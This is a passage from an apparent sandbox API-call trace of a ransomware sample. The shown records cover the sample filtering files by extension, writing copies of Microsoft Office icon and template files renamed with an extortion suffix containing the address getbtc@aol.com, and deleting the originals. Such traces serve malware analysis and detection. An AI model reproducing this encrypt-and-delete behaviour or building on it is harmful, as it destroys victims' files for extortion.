(lpString1=".xlsx", lpString2="S.FDT") returned -1 [0264.809] lstrlenW (lpString=".ppt") returned 4 [0264.809] lstrcmpiW (lpString1=".ppt", lpString2=".FDT") returned 1 [0264.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.809] lstrlenW (lpString=".zip") returned 4 [0264.809] lstrcmpiW (lpString1=".zip", lpString2=".FDT") returned 1 [0264.809] lstrlenW (lpString=".rar") returned 4 [0264.809] lstrcmpiW (lpString1=".rar", lpString2=".FDT") returned 1 [0264.809] lstrlenW (lpString=".bz2") returned 4 [0264.809] lstrcmpiW (lpString1=".bz2", lpString2=".FDT") returned -1 [0264.809] lstrlenW (lpString=".7z") returned 3 [0264.809] lstrcmpiW (lpString1=".7z", lpString2="FDT") returned -1 [0264.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.809] lstrlenW (lpString=".dbf") returned 4 [0264.809] lstrcmpiW (lpString1=".dbf", lpString2=".FDT") returned -1 [0264.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.810] lstrlenW (lpString=".1cd") returned 4 [0264.810] lstrcmpiW (lpString1=".1cd", lpString2=".FDT") returned -1 [0264.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.810] lstrlenW (lpString=".jpg") returned 4 [0264.810] lstrcmpiW (lpString1=".jpg", lpString2=".FDT") returned 1 [0264.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.810] lstrlenW (lpString=".doc") returned 4 [0264.810] lstrcmpiW (lpString1=".doc", lpString2=".FDT") returned -1 [0264.810] lstrlenW (lpString=".docx") returned 5 [0264.810] lstrcmpiW (lpString1=".docx", lpString2="S.FDT") returned -1 [0264.810] lstrlenW (lpString=".pdf") returned 4 [0264.810] lstrcmpiW (lpString1=".pdf", lpString2=".FDT") returned 1 [0264.810] lstrlenW (lpString=".xls") returned 4 [0264.810] lstrcmpiW (lpString1=".xls", lpString2=".FDT") returned 1 [0264.810] lstrlenW (lpString=".xlsx") returned 5 [0264.810] lstrcmpiW (lpString1=".xlsx", lpString2="S.FDT") returned -1 [0264.810] lstrlenW (lpString=".ppt") returned 4 [0264.810] lstrcmpiW (lpString1=".ppt", lpString2=".FDT") returned 1 [0264.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.810] lstrlenW (lpString=".zip") returned 4 [0264.810] lstrcmpiW (lpString1=".zip", lpString2=".FDT") returned 1 [0264.810] lstrlenW (lpString=".rar") returned 4 [0264.810] lstrcmpiW (lpString1=".rar", lpString2=".FDT") returned 1 [0264.810] lstrlenW (lpString=".bz2") returned 4 [0264.810] lstrcmpiW (lpString1=".bz2", lpString2=".FDT") returned -1 [0264.810] lstrlenW (lpString=".7z") returned 3 [0264.810] lstrcmpiW (lpString1=".7z", lpString2="FDT") returned -1 [0264.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.810] lstrlenW (lpString=".dbf") returned 4 [0264.810] lstrcmpiW (lpString1=".dbf", lpString2=".FDT") returned -1 [0264.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.810] lstrlenW (lpString=".1cd") returned 4 [0264.810] lstrcmpiW (lpString1=".1cd", lpString2=".FDT") returned -1 [0264.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\POLICIES.FDT") returned 109 [0264.810] lstrlenW (lpString=".jpg") returned 4 [0264.810] lstrcmpiW (lpString1=".jpg", lpString2=".FDT") returned 1 [0264.811] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.811] lstrlenW (lpString="VIEW.ICO") returned 8 [0264.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.852] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=318) returned 1 [0264.852] CloseHandle (hObject=0x3c4) returned 1 [0264.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico")) returned 0x20 [0264.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.861] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.861] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.961] GetLastError () returned 0x0 [0264.961] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x13e, lpOverlapped=0x0) returned 1 [0264.962] WriteFile (in: hFile=0x37c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x140, lpOverlapped=0x0) returned 1 [0264.963] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0264.963] WriteFile (in: hFile=0x37c, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0264.963] SetEndOfFile (hFile=0x37c) returned 1 [0264.963] CloseHandle (hObject=0x37c) returned 1 [0264.963] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0264.963] SetEndOfFile (hFile=0x3c4) returned 1 [0265.325] CloseHandle (hObject=0x3c4) returned 1 [0265.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\view.ico")) returned 1 [0265.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.364] lstrlenW (lpString=".doc") returned 4 [0265.364] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.364] lstrlenW (lpString=".docx") returned 5 [0265.364] lstrcmpiW (lpString1=".docx", lpString2="W.ICO") returned -1 [0265.364] lstrlenW (lpString=".pdf") returned 4 [0265.364] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.364] lstrlenW (lpString=".xls") returned 4 [0265.364] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.364] lstrlenW (lpString=".xlsx") returned 5 [0265.364] lstrcmpiW (lpString1=".xlsx", lpString2="W.ICO") returned -1 [0265.364] lstrlenW (lpString=".ppt") returned 4 [0265.365] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.365] lstrlenW (lpString=".zip") returned 4 [0265.365] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.365] lstrlenW (lpString=".rar") returned 4 [0265.365] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.365] lstrlenW (lpString=".bz2") returned 4 [0265.365] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.365] lstrlenW (lpString=".7z") returned 3 [0265.365] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.365] lstrlenW (lpString=".dbf") returned 4 [0265.365] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.365] lstrlenW (lpString=".1cd") returned 4 [0265.365] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.365] lstrlenW (lpString=".jpg") returned 4 [0265.365] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.365] lstrlenW (lpString=".doc") returned 4 [0265.365] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.365] lstrlenW (lpString=".docx") returned 5 [0265.365] lstrcmpiW (lpString1=".docx", lpString2="W.ICO") returned -1 [0265.365] lstrlenW (lpString=".pdf") returned 4 [0265.365] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.365] lstrlenW (lpString=".xls") returned 4 [0265.365] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.365] lstrlenW (lpString=".xlsx") returned 5 [0265.365] lstrcmpiW (lpString1=".xlsx", lpString2="W.ICO") returned -1 [0265.365] lstrlenW (lpString=".ppt") returned 4 [0265.365] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.365] lstrlenW (lpString=".zip") returned 4 [0265.365] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.366] lstrlenW (lpString=".rar") returned 4 [0265.366] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.366] lstrlenW (lpString=".bz2") returned 4 [0265.366] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.366] lstrlenW (lpString=".7z") returned 3 [0265.366] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.366] lstrlenW (lpString=".dbf") returned 4 [0265.366] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.366] lstrlenW (lpString=".1cd") returned 4 [0265.366] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\VIEW.ICO") returned 91 [0265.366] lstrlenW (lpString=".jpg") returned 4 [0265.366] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.366] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.366] lstrlenW (lpString="messageboxinfo.ico") returned 18 [0265.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.509] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=2862) returned 1 [0265.509] CloseHandle (hObject=0x1f8) returned 1 [0265.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico")) returned 0x20 [0265.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.524] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.524] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.525] GetLastError () returned 0x0 [0265.525] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xb2e, lpOverlapped=0x0) returned 1 [0265.544] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0265.545] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.545] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf8, lpOverlapped=0x0) returned 1 [0265.545] SetEndOfFile (hFile=0x3c4) returned 1 [0265.545] CloseHandle (hObject=0x3c4) returned 1 [0265.545] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.545] SetEndOfFile (hFile=0x3a0) returned 1 [0265.547] CloseHandle (hObject=0x3a0) returned 1 [0265.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\messageboxinfo.ico")) returned 1 [0265.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.549] lstrlenW (lpString=".doc") returned 4 [0265.549] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.549] lstrlenW (lpString=".docx") returned 5 [0265.549] lstrcmpiW (lpString1=".docx", lpString2="o.ico") returned -1 [0265.549] lstrlenW (lpString=".pdf") returned 4 [0265.549] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.549] lstrlenW (lpString=".xls") returned 4 [0265.549] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.549] lstrlenW (lpString=".xlsx") returned 5 [0265.549] lstrcmpiW (lpString1=".xlsx", lpString2="o.ico") returned -1 [0265.549] lstrlenW (lpString=".ppt") returned 4 [0265.549] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.549] lstrlenW (lpString=".zip") returned 4 [0265.549] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.549] lstrlenW (lpString=".rar") returned 4 [0265.549] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.549] lstrlenW (lpString=".bz2") returned 4 [0265.549] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.549] lstrlenW (lpString=".7z") returned 3 [0265.549] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.549] lstrlenW (lpString=".dbf") returned 4 [0265.549] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.549] lstrlenW (lpString=".1cd") returned 4 [0265.549] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.549] lstrlenW (lpString=".jpg") returned 4 [0265.549] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.549] lstrlenW (lpString=".doc") returned 4 [0265.549] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0265.550] lstrlenW (lpString=".docx") returned 5 [0265.550] lstrcmpiW (lpString1=".docx", lpString2="o.ico") returned -1 [0265.550] lstrlenW (lpString=".pdf") returned 4 [0265.550] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0265.550] lstrlenW (lpString=".xls") returned 4 [0265.550] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0265.550] lstrlenW (lpString=".xlsx") returned 5 [0265.550] lstrcmpiW (lpString1=".xlsx", lpString2="o.ico") returned -1 [0265.550] lstrlenW (lpString=".ppt") returned 4 [0265.550] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0265.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.550] lstrlenW (lpString=".zip") returned 4 [0265.550] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0265.550] lstrlenW (lpString=".rar") returned 4 [0265.550] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0265.550] lstrlenW (lpString=".bz2") returned 4 [0265.550] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0265.550] lstrlenW (lpString=".7z") returned 3 [0265.550] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0265.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.550] lstrlenW (lpString=".dbf") returned 4 [0265.550] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0265.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.550] lstrlenW (lpString=".1cd") returned 4 [0265.550] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0265.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\messageboxinfo.ico") returned 78 [0265.550] lstrlenW (lpString=".jpg") returned 4 [0265.550] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0265.550] lstrcmpiW (lpString1=".ico", lpString2=".Q1G") returned -1 [0265.550] lstrlenW (lpString="OnLineBusy.ico") returned 14 [0265.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.564] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=3438) returned 1 [0265.564] CloseHandle (hObject=0x388) returned 1 [0265.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico")) returned 0x20 [0265.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0265.589] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.589] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.590] GetLastError () returned 0x0 [0265.590] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xd6e, lpOverlapped=0x0) returned 1 [0265.619] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xd70, lpOverlapped=0x0) returned 1 [0265.619] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0265.619] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0265.620] SetEndOfFile (hFile=0x3c4) returned 1 [0265.620] CloseHandle (hObject=0x3c4) returned 1 [0265.620] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0265.620] SetEndOfFile (hFile=0x3a0) returned 1 [0265.622] CloseHandle (hObject=0x3a0) returned 1 [0265.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\onlinebusy.ico")) returned 1 [0265.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\OnLineBusy.ico") returned 74 [0265.622] lstrlenW (lpString="C:\\Program Files\\Microsoft 